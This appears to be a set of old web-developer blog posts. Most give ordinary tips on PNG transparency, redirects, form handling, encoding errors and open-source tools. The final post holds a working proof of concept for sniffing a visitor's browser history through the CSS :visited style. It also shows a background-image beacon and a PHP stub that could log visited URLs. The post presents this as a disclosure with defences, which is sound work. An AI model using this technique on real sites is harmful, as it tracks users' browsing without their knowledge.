MSIE PNG Alpha Transparency

In usual form, MSIE doesn’t directly implement Alpha-Transparency on PNG images. Typically this feature is used to allow for anti-aliased gradients on images so that they can be used to support a variety of backgrounds.

There are a variety of solutions online for this problem, however I take issue with most, here’s why:

  • .htc files – this is a proprietary Microsoft solution, to add support on most web servers the MIME type must also be added.
  • filter: progid: – this too is utilizing a standard in Microsoft’s own particular way.

While neither of these is perfect, the ‘filter:’ is obviously the best of two evils. Surround it with the “Conditional If” comments (previously documented) and you’re at least safe for most other browsers.

Here’s my example code:

<!–[if gte IE 5.5000]>
<script type=”text/javascript”>
function correctPNG() // correctly handle PNG transparency in Win IE 5.5 or higher.
{
for(var i=0; i<document.images.length; i++)
{
var img = document.images[i]
var imgName = img.src.toUpperCase()
if (imgName.substring(imgName.length-3, imgName.length) == “PNG”)
{
var imgID = (img.id) ? “id='” + img.id + “‘ ” : “”;
var imgClass = (img.className) ? “class='” + img.className + “‘ ” : “”;
var imgTitle = (img.title) ? “title='” + img.title + “‘ ” : “title='” + img.alt + “‘ “;
var imgStyle = “display:inline-block;” + img.style.cssText;
if (img.align == “left”) imgStyle = “float:left;” + imgStyle;
if (img.align == “right”) imgStyle = “float:right;” + imgStyle;
if (img.parentElement.href) imgStyle = “cursor:hand;” + imgStyle;
var strNewHTML = “<span ” + imgID + imgClass + imgTitle
+ ” style=\”” + “width:” + img.width + “px;height:” + img.height + “px;” + imgStyle + “;”
+ “filter:progid:DXImageTransform.Microsoft.AlphaImageLoader”
+ “(src=\'” + img.src + “\’, sizingMethod=’scale’);\”></span>”;
img.outerHTML = strNewHTML;
i = i-1;
}
}
}
window.attachEvent(“onload”, correctPNG);
</script>
<![endif]–>

References:

Good luck out there!

Open Source Diffs/Compare Tools

I often find it necessary to compare separate branches of large programming projects in Java/JSP and PHP. Comparing single files manually proves to be very time consuming. I’ve found that software to do the recursive comparisons makes this much easier as it greatly reduces the effort.

Personally, I’m currently fond of WinMerge (on Windows platforms), though I’ve got a lot of peers that swear by Beyond Compare. Regardless their usage is very similar.

WinMerge:

Beyond Compare:

Cheers!

HTTP Forward vs. Redirect

A Controller servlet may perform either a forward or a redirect operation at the end of processing a request. It is important to understand the difference between these two cases, in particular with respect to browser reloads of web pages.

Forward

  • a forward is performed internally by the application (servlet).
  • the browser is completely unaware that it has taken place, so its original URL remains intact
  • any browser reload of the resulting page will simple repeat the original request, with the original URL

Redirect

  • a redirect is a two step process, where the web application instructs the browser to fetch a second URL, which differs from the original
  • a browser reload of the second URL will not repeat the original request, but will rather fetch the second URL
  • redirect is marginally slower than a forward, since it requires two browser requests, not one
  • objects placed in the original request scope are not available to the second request.

There are several ways to perform a Redirect, here are a few common ones:

  • URL Redirection (HTTP 301):
    HTTP/1.1 301 moved permanently
    
    Location: http://www.example.org/
  • HTTP Refresh Header (Not Recommended)
    HTTP/1.1 200 ok
    
    Refresh: 0; url=http://www.example.com/
  • HTML <meta /> tag
    <meta http-equiv="refresh" content="0; URL=http://www.example.org/" />
  • JavaScript (many possible solutions, generally not accessible or searchable)
    <script type="text/javascript">location.href='http://www.example.org/';</script>

In general, a forward should be used if the operation can be safely repeated upon a browser reload of the resulting web page; otherwise, redirect must be used. Typically, if the operation performs an edit on the datastore, then a redirect, not a forward, is required. This is simply to avoid the possibility of inadvertently duplicating an edit to the database.

More explicitly :

  • for SELECT operations, use a forward
  • for INSERT, UPDATE, or DELETE operations, use a redirect

In HTML, a <FORM> tag can either GET or POST its data. In this context, a GET corresponds to a SELECT-then-forward, and a POST corresponds to an edit-then-redirect.

It is strongly recommended that forms for the input of search criteria should use GET, while forms for editing database records should use POST.

SECURITY NOTE: When using GET, be sure to not expose sensitive data in the URL’s.

Single FORM INPUT causes submit on Enter/Return

This is a browser oddity that I’ve had to code around for years.  In most modern browsers (currently Mozilla Firefox 2.x and MSIE 7.0), when a FORM contains only one editable INPUT field pressing the Enter or Return key will automatically submit the form, but when there are more than one the form is not submitted.   This irregularity in the single field case is responsible for several odd errors, and often results in double-submits of form data to the server.

Here’s a newer solution to the problem, the ‘magic’ is in the javascript events that we’ve added to the FORM object itself, no longer do you have to place event handlers on every INPUT field as has often been done in the past.

NOTE: not completely valid XHTML for ease of documentation and readability.

<html>
<head>
<title>test of input submit</title>
<script type=”text/javascript”>
function keycheckForm(formObj,evt){
if(isEnter(evt)){
//alert(‘in form’);
if(checkFormInputs(formObj)){
formObj.submit();
}
}
}
/*
* Added to handle enter key press
* NOTE: this is based on  a ‘legacy’ function [checkEnter(e)] that returned the reverse boolean values.
* @param evt Event
* @return boolean
*/
function isEnter(evt){ //e is event object passed from function invocation
var characterCode; //literal character code will be stored in this variable
if(evt && evt.which){ //if which property of event object is supported (NN4)
characterCode = evt.which; //character code is contained in NN4’s which property
}else{
characterCode = evt.keyCode; //character code is contained in IE’s keyCode property
}
var rc = false;
if(characterCode == 13){ //if generated character code is equal to ascii 13 (if enter key)
rc = true;
}
return rc;
}
/**
* @param formObj Object
*/
function checkFormInputs(formObj){
var rc = false;
var allInputs=formObj.getElementsByTagName(‘INPUT’);
var formInputs = allInputs.length;
var textInputs=0;
if(formInputs>1){
var ct = allInputs.length;
var i;
for(i=0; i < ct; i++){
var inputObj = allInputs[i];
var typ = inputObj.type;
if ((typ==’text’) || (typ==’password’)) {
textInputs=textInputs+1;
}
}
if(textInputs>1){
rc=true;
}
}
if(rc==false){
//alert(“blocked because of size”);
}
return rc;
}
</script>
</head>
<body>
<form action=”example.php” method=”get” onkeypress=”return keycheckForm(this,event);” onsubmit=”return checkFormInputs(this);”>
<input type=”text” name=”textfield1″ value=”testing1″ />
<button type=”button” name=”mybutton” onclick=”this.form.submit();”>Click Me</button>
</form>
</body>
</html>

Cheers!

UTF-8 (BOM) prevents java compilation

I had an adventure tracking this one down lately, it seems that if your IDE saves files as UTF-8, the java compiler can’t always resolve the files.

Here’s the errors from the console output:

[INFO] ————————————————————————
[ERROR] BUILD FAILURE
[INFO] ————————————————————————
[INFO] Compilation failure

C:\Sandbox\Jars\example.jar\src\main\java\com\giantgeek\Example.java:[1,0] ‘class’ or ‘interface’ expected

C:\Sandbox\Jars\example.jar\src\main\java\com\giantgeek\Example.java:[1,1] illegal character: \187

C:\Sandbox\Jars\example.jar\src\main\java\com\giantgeek\Example.java:[1,2] illegal character: \191

Those character codes (\187 \191) may look a little familiar to some people, as they represent the Byte Order Mark (BOM) that prefixes a UTF-8 formatted file. If you look at them in a file editor (or text editor that doesn’t interpret UTF-8) they will look odd.

They look like “an i (two dots over), double right arrow, upside down question mark”.

Simple solution is to re-edit and save the file as ISO-8859-1.

An alternate approach that is available in some instances is to use the arguments to javac to allow the file encoding.

References:

Cheers!

Open Source Text Editors

As an old UNIX developer, I spent a significant portion of my work experience using VI, as my development environment became more focused on Windows, I used Homesite for developing text formatted documents. I’ve found that the current offerings from Eclipse and other IDE’s are notoriously bad at displaying the source of many document types, particularly JSP, HTML, XML, JAVA, JS and CSS files; where you often want to see exactly how a document is structured. Additional spaces, tabs and carriage returns can cause display formatting issues and wasted bandwidth in many cases.

Many of my peers are fans of TextPad, but I’ve found Notepad++ to be quite up to the task:

  • it is available for Windows and LINUX
  • supports auto-formatting of many text file types
  • can ‘replace’ the default Source-HTML viewer in MSIE.

http://notepad-plus.sourceforge.net

Happy coding!

Open Source File Compression Software

For years I was an advocate of PKZip and WinZip (That I own a “floppy” disk of), but after discovering the advantages and freedom of open-source, I discovered 7Zip.

7-Zip is a file archiver with the high compression ratio. The program supports 7z, ZIP, CAB, RAR, ARJ, LZH, CHM, GZIP, BZIP2, Z, TAR, CPIO, RPM and DEB formats.

While it’s only available on Windows, similar software is native on most other Operating Systems, Microsoft added only meager support in Windows XP (which in fact often crashes machines).

References:

Version Control comments

When working on large, multi-group projects I’ve found that it often helps to have information about the ‘version’ of an asset written into the source file (HTML, JSP, PHP, CSS, JS, or other ‘text’ formats).

This is easily accomplished with most version control packages and is done automatically if the following are added inside of an appropriate comment section in the file. The below examples are Java based, but can be easily adopted to any file type.

This is especially helpful when reviewing JavaDoc, and crucial for deployed text files such as CSS and JS as it makes debugging them much easier.

These work with CVS, Subversion, Serena Changeman DS, MKS Source Integrity and a variety of other products.

Raw Source:

/*
$Id: $
$Author: $
$Revision: $
$Date: $

<pre>
$Log: $
</pre>
*/

At check-in becomes:

/*
$Id: project.readme 1.1 2007/07/30 10:42:39CDT Scott dev $
$Author: Scott $
$Revision: 1.1 $
$Date: 2007/07/30 10:42:39CDT $

<pre>
$Log: project.readme $
Revision 1.1 2007/07/30 10:42:39CDT Scott
Scott. test
</pre>
*/

Cheers!

Open Source Image Editing Software

I’m usually a considered by most to be just a “programmer”, but occasionally the need comes up for someone to edit or create an image for a project. I might not be a designer, but I still need similar tools to accomplish this, but can’t justify the cost of Adobe Photoshop & Illustrator.

Here are some great (if not better) alternatives that are FREE and available on a variety of operating systems, not just Windows and Apple Macintosh.

GIMP – is an acronym for GNU Image Manipulation Program. It is suitable for a variety of image manipulation tasks, including photo retouching, image composition, and image construction.

Currently Supports:

  • GIF, JPEG, PNG, XPM, TIFF, TGA, MPEG, PS, PDF, PCX, BMP and many others.

It has many capabilities. It can be used as a simple paint program, an expert quality photo retouching program, an online batch processing system, a mass production image renderer, an image format converter, etc.

Inkscape – is an open-source vector graphics editor similar to Adobe Illustrator, Corel Draw, Freehand, or Xara X. What sets it apart is it’s native use of Scalable Vector Graphics (SVG), an open XML-based W3C standard.

Currently supports:

  • opening only SVG and SVGZ (gzipped SVG) formats.
  • save as SVG, SVGZ, Postscript/EPS/EPSi, Adobe Illustrator (*.ai), LaTeX (*.tex), and POVRay (*.pov).
  • import most raster formats (JPG, PNG, GIF, etc.) as bitmap images, but it can only export PNG bitmaps.
  • With the help of extensions, Inkscape can open/save as PDF, EPS, AI, Dia, Sketch and some others.

Together this suite can tackle most work that previously required costly software that isn’t available on many Operating Systems.

Happy drawing!

Exploiting Browser History via CSS

Marketing people will likely love this hack. Information Security types may dislike the exposure of potentially sensitive information. Browser Accessibility individuals will obviously dislike that the fix removes standard ‘history’ behaviors from the browser in many cases.

Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in a markup language, such as HTML. CSS is NORMALLY not a security concern as the technology does not directly effect anything outside of the webpage being viewed. Unfortunately with modern browsers (newer than 4.x), the CSS :visited pseudo-class can be exploited in the following manner to notify a phisher when a user has visited the web page.

  1. A different ‘style’ (color, font, background-image, position) can be set for visited links, allowing this “difference” to be detected via javascript and thus reported back to the website owners.
  2. A background-image defined in CSS “COULD” be a program that records the visited link directly (and allows the display of an image on the website).

There are several ways that this data can be exploited and shared with ‘other’ websites. I’ve included a simple JavaScript “alert()” in my Proof of Concept, the rest should be obvious to any developer with a decent knowledge of web technologies such as JavaScript, DOM, CSS and AJAX.

As ‘contexual’ links are a web standard, and users generally expect to see ‘visited’ links styled differently than ‘unvisited’ links, this behavior and user expectations must also be changed.

Thankfully, there are Mozilla plugins to defend against just this sort of attack:

References:

While unrelated to this particular defect, it helps to understand what else is typically shared between websites. Generally, the ‘Referring URL’ (the page where the link to a new website exists) is shared with the receiving website. Some browsers allow for this HTTP Header to be blocked to prevent this sort of tracking.
Example Code:

<html>
<head>
<title>CSS History Exploit</title>
<style type="text/css">
a.somecls:visited { background-image: url('exploit-image.php?example=cls'); }
a#someid:visited { background-image: url('exploit-image.php?example=id'); }
a:visited { color:red; }
a:link { color:green; }
</style>
<script type="text/javascript">
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function xmillis(){
return new Date().getTime();
}
/*
* This example looks at existing links on the page by using known 'id's for them
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistory(obj){
var a1=exploitHistoryID('a1');
var a2=exploitHistoryID('a2');
var a3=exploitHistoryID('a3');
var rc = a1 + "|" + a2 + "|" + a3;
alert(rc);
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistoryDOM(obj){
var x=xgetHelper('links');
var children=x.getElementsByTagName('a');
var rc = '';
for(var i=0; i < children.length; i++){
var b=exploitHistoryOBJ(children[i]);
if(rc!=""){ rc=rc+"|"; }
rc=rc+b;
}
alert(rc);
}
/*
* @param id String
* @return boolean
*/
function exploitHistoryID(id){
var obj=xgetHelper(id);
return exploitHistoryOBJ(obj);
}
/*
* Checks the current CSS color attribute on an (anchor) link to see if it's been visited, indicating that it is in browser history.
* @param obj Object - the HTML (a) tag
* @return boolean
*/
function exploitHistoryOBJ(obj){
var rc=false;
var moz_match='rgb(255, 0, 0)';
var msie_match='red';
if(obj!=null){
var rgb='';
try{
rgb=obj.getStyle('color');//obj.style.backgroundImage;
match=moz_match;
}
catch(e){
// this is likely because the above is Mozilla/DOM dependent, try MSIE currentStyle
try{
var cs=obj.currentStyle;
if(cs!=null){
rgb=cs.color;
}
match=msie_match;
}
catch(e){
//alert('Error:' + e);
}
}
if(rgb==match){
rc=true;
}
}
return rc;
}
/*
* Expects URL with queryString as param href
* @param x URL
* @return boolean
*/
function exploitHistoryURL(obj,x){
var obj=createURL(x);
var rc=exploitHistoryOBJ(obj);
alert(x + "=" + rc);
return false;
}
/*
* This will create an A HREF in the DOM and return the reference to the calling method.
* @param x URL
* @return obj Object of the generated FORM
*/
function createURL(x){
var rc=null;
try{
var id="url" + xmillis();
var oA=document.createElement("a");
oA.setAttribute("id",id);
oA.setAttribute("href",x);
//oA.setAttribute("style","display:none;");
var oBODY=document.getElementsByTagName("body")[0];
oBODY.appendChild(oA);
rc=oA;
}catch(e){
alert("Error"+e);
}
return rc;
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
* @param id String - 'id' of INPUT field
*/
function exploitIt(obj,id){
var rc=false;
var aINPUT=xgetHelper(id);
if(aINPUT!=null){
var x=aINPUT.value;
rc=exploitHistoryURL(obj,x);
alert(x + "=" + rc);
}
return false;
}
</script>
</head>
<body>
<p>NOTE: Not so obvious in this example, without looking at the code, is that a PHP file (exploit-image.php) is used to generate the background-image, it COULD be crafted to send data to this (or any other) website for analysis.</p>
<p id="links">[ <a id="a1" href="http://www.giantgeek.com/">http://www.giantgeek.com/</a> |
<a id="a2" href="http://www.skotfred.com/">http://www.skotfred.com/</a> |
<a id="a3" href="http://localhost/">http://localhost/</a> |
<a href="http://slashdot.org/">http://slashdot.org/</a> |
<a href="http://www.mozilla.org/" class="somecls">http://www.mozilla.org/</a> |
<a href="http://www.microsoft.com/" id="someid">http://www.microsoft.com/</a>
]</p>
<a href="javascript:void(0);" onclick="exploitHistory(this);">Exploit History via CSS</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryDOM(this);">Exploit History via CSS - DOM</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryURL(this,'http://www.skotfred.com/');">Exploit History via CSS - URL (http://www.skotfred.com/)</a><br />
<form action="#" method="get" onsubmit="return false;">
<input type="text" name="url" id="url" value="" /><button type="button" onclick="return exploitIt(this,'url');">CHECK</button>
</form>
</body>
</html>

Supporting file for exploit-image.php (STUB for example):

<?php
// NOTE: you could read the param and log the URL here (if desired) this just redirects for now.
//header("Cache-Control: no-store");
header('Location: /images/anim.gif');
?>

Cheers, you’ll probably want a drink after that, either to celebrate or forget!